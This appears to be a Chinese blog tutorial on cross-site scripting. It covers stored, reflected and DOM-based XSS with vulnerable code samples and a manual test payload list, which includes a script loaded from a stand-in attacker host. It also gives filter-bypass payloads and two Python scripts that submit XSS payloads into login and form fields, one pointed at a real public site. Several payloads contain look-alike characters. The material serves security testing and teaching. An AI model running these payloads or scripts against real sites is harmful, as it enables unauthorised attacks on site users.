XSS跨站脚本攻击

一、XSS简介

XSS(Cross-Site Scripting)即常见的WEB安全漏洞,通过恶意脚本注入到网页中进行攻击,当用户访问该网站时,实际跳转的是恶意网页。

二、常见XSS类型

1、存储型XSS

1)特点

恶意脚本被永久存储在目标服务器上(如数据库),当用户访问包含该脚本的页面时,脚本被执行。

2)常见漏洞与攻击手法

漏洞代码:

        <!-- 假设服务器未对用户输入进行过滤 -->
        <div>
            <%= userInput %>
        </div>

攻击:<script>alert('XSS');</script>

2、反射型XSS

1)特点

恶意脚本作为请求的一部分发送到服务器,服务器将其反射回用户的浏览器并执行。例如:攻击者通过邮件或社交工程诱导用户点击一个包含恶意脚本的链接,脚本在用户浏览器中执行。

2)常见漏洞与攻击手法

漏洞代码:

        <!-- 假设URL参数未经过滤直接输出 -->
        <div>
            <%= request.getParameter("input") %>
        </div>

攻击: http://example.com/page#<script>alert('XSS')</script>

3、DOM型XSS

1)特点

通过操纵页面DOM(文档对象模型)结构注入恶意脚本,DOM型XSS是在客户端浏览器页面进行,不会涉及服务器端响应,传统防火墙难以检测。

2)原理与危害

客户端JavaScript代码直接使用了用户可控输入(即输入未经验证或转义的URL参数、表单数据、 cookie等)攻击者通过构造恶意输入注入脚本,在受害者浏览器中执行达到篡改用户cookie或token、引导用户到恶意网站、篡改页面内容进行钓鱼、传播恶意软件的目的。

3)常见漏洞与攻击手法

  • 漏洞代码1:直接使用 innerHTML 插入用户输入(使用 textContent 代替 innerHTML

        // 从 URL 参数获取用户输入
        const userInput = new URLSearchParams(window.location.search).get('content');
        document.getElementById('output').innerHTML = userInput; // 危险操作!

  • 攻击:访问以下 URL 触发弹窗

        http://example.com/page?content=<img src="x" οnerrοr="alert('XSS')>

  • 漏洞代码2:通过 eval() 或 setTimeout 执行用户输入的字符串。(避免使用)

        const userInput = document.getElementById('inputField').value;
        eval(userInput); // 直接执行用户输入的字符串

  • 攻击:文本框输入 alert('XSS')立即执行脚本

  alert('XSS')

  • 漏洞3:动态修改 <script> 标签的 src 或内容(将特殊字符(如 <>&"')转换为实体)
  • 漏洞代码4:操作 location.hashlocation.search 等 URL 参数

        const hashContent = window.location.hash.substring(1);
        document.write(hashContent); // 将 hash 内容写入页面

  • 攻击:访问以下 URL 触发弹窗

        http://example.com/page#<script>alert('XSS')</script>

4)漏洞测试方法

  • 手动测试

        找出所有接受用户输入的入口(URL 参数、表单)插入测试脚本点击提交,查看是否会触发弹窗或执行脚本

示例脚本:

        <script>标签

                <script>alert(/1/)</script>
                <script>prompt(1)</script> 
                <script>confirm(1)</script>
                <script src="http://attacker.org/malicious.js"></script>
                <script src=data:text/javascript,alert(1)></script>
                <script>setTimeout(alert(1),0)</script>

        <img>标签

                <img src=x οnerrοr=alert(1)>
                <img src=x οnerrοr=prompt(1);>
                <img src=javascript:alert('1')>

        <a>标签

               <a href=”javascript:alert(1)”>点击触发</a>
               <a href="http://www.hacker.com">点击触发</a>
        <Iframe>标签

                <iframe src="javascript:alert(1)">
                <iframe οnlοad=alert(1)>

  • 工具辅助测试

         OWASP ZAP:自动化扫描 DOM 型 XSS

        浏览器开发者工具:审查 DOM 结构,跟踪数据流

  • 绕过基础过滤的 Payload

        大小写混淆:

                <ScRiPt>alert(1)</ScRiPt>

        HTML实题编码:

                &lt;script&gt;alert(1)&lt;/script&gt;  
                <!-- 实际可能被浏览器解析为 <script>alert(1)</script> -->

        JavaScript编码:

                <img src="x" οnerrοr="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;1&#x29;">
                <!-- 等价于 alert(1) -->

        拆分字符串:

                <svg οnlοad="alert`1`"></svg>  
                <img src="x" οnerrοr="a='aler';b='t(1)';window[a+b]();">

三、XSS 测试基本流程

1、收集信息

  • 确定目标应用的输入点(如表单、URL 参数、HTTP 头、Cookie 等)。
  • 了解应用如何处理用户输入(是否过滤、转义或编码)。

2、测试输入点

  • 在输入点尝试注入简单的 XSS 测试 payload,观察响应。
  • 测试存储型、反射型和 DOM 型 XSS。

3、验证漏洞

  • 确认注入的脚本是否被执行。
  • 检查是否有过滤或防护机制。

4、报告与修复

  • 记录漏洞细节(输入点、payload、影响)。
  • 提供修复建议(如输入验证、输出编码)。

四、XSS脚本注入示例

1、示例一

需求:特定登录页面中用户输入账户信息点击登录后弹出XSS弹窗的问题

import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup

# 目标网站配置(需授权)
# 示例网站
TARGET_URL = "http://www.baidu.com"
XSS_PAYLOADS = [
    '<ScriPt>alert("XSS Test - Authorized");</ScriPt>',
    '<svg/οnlοad=alert(1)>',
    '<img src=x onerror="alert(1)">',
    '" onload="alert(1)"',
    "'+alert(1)+'",
]

def test_xss_vulnerability():
    # 创建会话保持Cookies
    session = requests.Session()

    try:
        # 1. 获取登录页面的CSRF令牌(如有)
        login_page = session.post(TARGET_URL)
        login_page.raise_for_status()

        # 假设页面包含CSRF令牌(需根据实际情况解析)
        soup = BeautifulSoup(login_page.text, 'html.parser')
        csrf_input = soup.find('input', {'name': 'csrf_token'})
        csrf_token = csrf_input['value'] if csrf_input else None

        for payload in XSS_PAYLOADS:
            print(f"[*] 测试 Payload: {payload}")

            # 2. 构造恶意登录请求
            data = {
                'mobile': payload,  # 在账号字段注入XSS
                'code': 'payload',  # 在验证码字段注入XSS
                'csrf_token': csrf_token  # 若有CSRF保护
            }

            # 3. 提交登录请求
            response = session.post(
                TARGET_URL,
                data=data,
                headers={'Referer': TARGET_URL},
                allow_redirects=False  # 禁止自动重定向以检查响应内容
            )
            response.raise_for_status()

            # 4. 检查响应是否包含未编码的XSS载荷
            if payload in response.text:
                print("[+] XSS漏洞存在!未过滤的用户输入:")
                print(f"   测试载荷已注入:{payload}")
                print(f"   手动访问登录后页面,查看是否触发弹窗。")
                return

        print("[-] 未检测到XSS漏洞:所有测试 Payload 都被过滤或编码。")

    except requests.exceptions.HTTPError as e:
        print(f"[-] HTTP 错误:{str(e)}")
    except Exception as e:
        print(f"[-] 测试失败:{str(e)}")


if __name__ == "__main__":
    print("[*] 正在授权测试XSS漏洞(合法环境)...")
    test_xss_vulnerability()

2、实例二

需求:登录后,对新增编辑查询页面中有输入框的位置进行XSS注入验证测试

1)代码都一样,只是参数和请求的域名需要修改

import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup

# 目标网站配置(需授权)
# 需要修改的地方1
LOGIN_URL = "http://123.com" # 登录的url,因为需要获取权限
TARGET_URL = "http://123.com/add" # 需注入的url

# 注入的PAYLOADS
XSS_PAYLOADS = [
    '<ScriPt>alert("XSS Test - Authorized");</ScriPt>',
    '<svg/οnlοad=alert(1)>',
    '<img src=x onerror="alert(1)">',
    '" onload="alert(1)"',
    "'+alert(1)+'",
]

# OAuth2配置
# 需要修改的地方2
mobile = "12345678987"

def get_oauth_token():
    """获取OAuth2访问令牌"""

# 需要修改的地方3,不是post时data修改为params
    data = {
        "mobile": mobile
    }
    headers = {
        "Content-Type": "application/json"
    }
    try:
        response = requests.post(LOGIN_URL, json=data, headers=headers)
        response.raise_for_status()
        return response.json().get("data", {}).get("token")
    except requests.exceptions.HTTPError as e:
        print(f"[-] HTTP 错误:{str(e)}")
        print(f"[-] 响应内容: {response.text}")
        print(f"[-] 请求头: {headers}")
        print(f"[-] 请求体: {data}")
        print(f"[-] 请求体编码: {response.request.body}")
    except Exception as e:
        print(f"[-] 测试失败:{str(e)}")

def test_xss_vulnerability():
    # 创建会话保持Cookies
    session = requests.Session()

    try:
        # 获取OAuth2访问令牌
        access_token = get_oauth_token()
        if not access_token:
            print("[-] 无法获取访问令牌,终止测试。")
            return
        print(f"[*] 获取到的访问令牌: {access_token}")

        # 构造目标URL的请求头
        headers = {
            "Authorization": f"Bearer {access_token}",
            "Referer": TARGET_URL,
            "Content-Type": "application/json"
        }

        for payload in XSS_PAYLOADS:
            print(f"[*] 测试 Payload: {payload}")

            # 构造目标URL的请求参数,并在其中注入XSS载荷
            # 需要修改的地方4
            data = {
                        "dimensionId": "",
                        "dimensionName": payload # 在此字段注入XSS载荷

            }

            # 提交请求
            response = session.post(
                TARGET_URL,

                # 需要修改的地方5,不是post请求时这里修改为params=params
                json=data,
                headers=headers,
                allow_redirects=False  # 禁止自动重定向以检查响应内容
            )
            response.raise_for_status()

            # 打印响应内容以便调试
            print(f"[*] 响应状态码: {response.status_code}")
            print(f"[*] 响应内容: {response.text}")

            # 检查响应是否包含未编码的XSS载荷
            if payload in response.text:
                print("[+] XSS漏洞存在!未过滤的用户输入:")
                print(f"   测试载荷已注入:{payload}")
                print(f"   手动访问登录后页面,查看是否触发弹窗。")
                return

        print("[-] 未检测到XSS漏洞:所有测试 Payload 都被过滤或编码。")

    except requests.exceptions.HTTPError as e:
        print(f"[-] HTTP 错误:{str(e)}")
    except Exception as e:
        print(f"[-] 测试失败:{str(e)}")


if __name__ == "__main__":
    print("[*] 正在授权测试XSS漏洞(合法环境)...")
    test_xss_vulnerability()
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值